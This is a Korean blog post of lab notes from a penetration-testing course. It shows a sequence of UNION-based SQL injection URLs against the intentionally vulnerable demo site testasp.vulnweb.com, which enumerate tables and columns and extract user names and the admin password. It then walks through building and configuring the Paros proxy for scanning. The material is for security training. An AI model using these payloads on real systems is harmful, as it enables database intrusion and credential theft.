⑥ 4개의 사용자 테이블 이름 추출

http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55

-> 첫번째 테이블 이름은 threads 라는것을 확인할 수 있다.


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from sysobjects where xtype=0x55 and name not in ('threads', 'users', 'forums')--



⑦ users 테이블의 필드 개수 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 count(*), 22 from syscolumns where id=(select id from sysobjects where name='users')--



⑧ users 테이블의 필드 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email')--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 name, 22 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('uname', 'upass', 'email', realname')--


⑨ users 테이블의 users, upass 필드 정보 확인


http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users

where uname not in (select top 1 uname from users)--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 uname, 22 from users

where uname not in (select top 140 uname from users)--



http://testasp.vulnweb.com/showforum.asp?id=2 and 1=2 union select top 1 upass, 22 from users

where uname='admin'--





(원복) 서비스 종료

<CTRL + SHIFT + ESC> => 서비스 탭 => 오른쪽 하단의 "서비스"

        서비스 이름:

                SQL Server,

                SQL Browser,

                SQL Server VSS Writer



■ JDK 설치(환경변수 설정)

■ ANT 설치(환경변수 설정)

■ 파로스(Paros) 설치

■ 파로스 proxy 설정

■ 웹브라우저 proxy 서버 지정



준비 사항

\\172.16.13.1\CD & DVD\Paros 디렉토리안의 프로그램을 사용한다.



① JDK 설치

기존에 설치되어 있는 JDK 64bit 삭제하고 32bit를 설치한다.


(Optinal) 미리 64bit JDK 설치된 경우는 JDK 64bit 프로그램 삭제

        제어판 > 프로그램 및 기능 > "Java 8 Update 31" > 제거 > 예


■ JDK 32bit 설치

삭제가 완료되었다면 Paros 디렉토리안의 JDK 32bit(EX: jdk-8u25-windows-i586)를 사용하여 설치한다.

설치과정에서 확인한 설치된 디렉토리와 bin 디렉토리
(EX:
C:\Program Files (x86)\Java\jdk1.8.0_25\bin)


■ JDK 환경 변수(Path) 설정

내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > "Path" 변수 선택 >
C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\


■ JDK 설치 확인

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk>java -version

java version "1.8.0_25"

Java(TM) SE Runtime Environment (build 1.8.0_25-b18)

Java HotSpot(TM) Client VM (build 25.25-b02, mixed mode, sharing)


② ANT 설치


■ ANT 다운로드

http://ant.apache.org/bindownload.cgi

파일이름: apache-ant-1.9.4-bin.zip



■ ANT 압축해제

압축해제된 디렉토리(EX: C:\apache-ant-1.9.4)


■ ANT 환경변수(EX: Path) 설정

내컴퓨터 > 속성 > 고급 시스템 설정 > 환경 변수 > Path 변수 선택 >
C:\apache-ant-1.9.4\bin;C:\Program Files (x86)\Java\jdk1.8.0_25\bin;C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\APM_Setup\Server\Apache\bin;C:\APM_Setup\Server\MySQL5\bin;C:\APM_Setup\Server\PHP5;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\DTS\Binn\;c:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\ManagementStudio\


■ 설정 확인

C:\Users\soldesk> ant

Buildfile: build.xml does not exist!

Build failed

-> ant 실행이 정상적으로 되고 있다. 위의 에러 메세지는 ant가 build.xml 파일이 없는데에서 실행했기 때문이다. 설치는 정상적으로 된것으로 판단된다.



③ 파로스 설치


■ 파로스 다운로드


■ 파로스 압축해제

압축 해제된 디렉토리(EX: C:\paros-3.2.13-src)


■ 에러나는 파일 설정/변경

C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\HistoryFilterDialog.java -> 파일 변경

[수정전]

 * Created on 2004?7ㅻ23ㅹ

[수정후]

// * Created on 2004?7ㅻ23ㅹ


C:\paros-3.2.13-src\paros\src\org\parosproxy\paros\extension\history\LogPanel.java

-> 파일 변경

[수정전]

 * Created on 2004?7ㅻ4ㅹ

[수정후]

// * Created on 2004?7ㅻ4ㅹ


■ 파로스 build(ant 실행)

C:\Users\soldesk> cd C:\paros-3.2.13-src\paros\build

C:\paros-3.2.13-src\paros\build> ant

Buildfile: C:\paros-3.2.13-src\paros\build\build.xml

 

init:

   [delete] Deleting directory C:\paros-3.2.13-src\paros\build\build

    [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\build

 

compile:

    [javac] C:\paros-3.2.13-src\paros\build\build.xml:23: warning: 'includeantru

ntime' was not set, defaulting to build.sysclasspath=last; set to false for repe

atable builds

    [javac] Compiling 258 source files to C:\paros-3.2.13-src\paros\build\build

    [javac] Note: Some input files use or override a deprecated API.

    [javac] Note: Recompile with -Xlint:deprecation for details.

    [javac] Note: Some input files use unchecked or unsafe operations.

    [javac] Note: Recompile with -Xlint:unchecked for details.

 

dist:

    [mkdir] Created dir: C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 7 files to C:\paros-3.2.13-src\paros\build\build\resource

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\build\xml

     [copy] Copying 14 files to C:\paros-3.2.13-src\paros\build\paros\xml

     [copy] Copying 8 files to C:\paros-3.2.13-src\paros\build\paros\db

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\filter

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\plugin

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\session

     [copy] Copying 6 files to C:\paros-3.2.13-src\paros\build\paros\license

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros\log

     [copy] Copying 13 files to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

     [copy] Copying 1 file to C:\paros-3.2.13-src\paros\build\paros

      [jar] Updating jar: C:\paros-3.2.13-src\paros\build\paros\paros.jar

 

BUILD SUCCESSFUL

Total time: 5 seconds

-> C:\paros-3.2.13-src\paros\build\paros\paros.jar 파일이 생성된다.

-> 새로운 룰을 만들면 paros.jar 파일을 새로 만들어야 한다.(ant 명령어를 다시 돌려야 한다.)






④ 파로스 proxy 설정


파로스를 실행한다.

(명령어 창에서 수행 방법)
c:\Users\soldesk> cd c:\paros-3.2.13-src\paros\build\paros
c:\paros-3.2.13-src\paros\build\paros> java -jar paros.jar

(윈도우 환경에서 실행 방법)
c:\paros-3.2.13-src\paros\build\paros 디렉토리로 이동하여 paros.jar 파일을 더블 클릭
->
(권장) 바탕화면의 아이콘으로 만들면 좋다. -> 바로가기 아이콘을 생성한다.




상단 메뉴 중 "Tools" > "Options" > "Local proxy" > OK

        Local proxy 설정은 다음과 같이 한다.

        -----------------------------------------------

        Address (eg localhost, 127.0.0.1)  : localhost

        Port (eg 8080)                   : 8000

        -----------------------------------------------






⑤ 웹브라우저에서 paros proxy 지정


(주의) 실행된 paros는 종료하면 안된다.(proxy 서버이기 때문에)


웹브라우저 실행(IE 기준)


도구 > 인터넷 옵션 > 연결 > LAN 설정 >

        웹브라우저 설정은 다음과 같이 한다.

        ------------------------------------

        주소(E) : 127.0.0.1

        포트(T) : 8000

        ------------------------------------


웹브라우저의 설정이 끝났다면 웹브라우저에서 www.google.com 입력하고 paros 쪽에서 확인한다.


불필요한 정보는 "Purge (from DB)"을 선택하여 삭제한다.




⑥ 모의 테스트 1 (웹 스캐너를 통한 간단한 점검)


(웹브라우저에서) 모의 테스트 대상이 되는 http://testasp.vulnweb.com 접속한다.


testasp.vulnweb.com 사이트를 선택한 상태에서

Analyse > Spider

선택하여 대상 사이트의 정보수집(spider)를 수행한다.

반드시 "Start" 버튼을 눌러야 정보수집(spider)가 시작된다.




Analyse > Scan Policy > Plugin Category > Injection > OK

        테스트 하고 싶은 룰을 선택(기본적으로 모든 룰에 대한 부분이 체크되어 있다.)

아래 그림과 같이 나온다.



다음과 같이 취약점을 스캔한다.

Analyse > Scan

-> 점검하는데 약간을 시간이 걸린다.(약 3분 ~ 5분정도)

-> 현재 점검에서는 195초(약 3분정도) 걸렸다.


점검 결과인 하단을 보면 Alerts 부분의 High로 표시된 곳에

        http://testasp.vulnweb.com/showforum.asp?=2'INJECTED_PARAM

        http://testasp.vulnweb.com/showthread.asp?=3'INJECTED_PARAM

표시된것을 확인할 수 있다.





0.hwp1. 서브쿼리.hwp2. MSSQL.hwp3. 자동진단.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160825 웹보안  (0) 2016.08.25
20160825 BitLocker  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함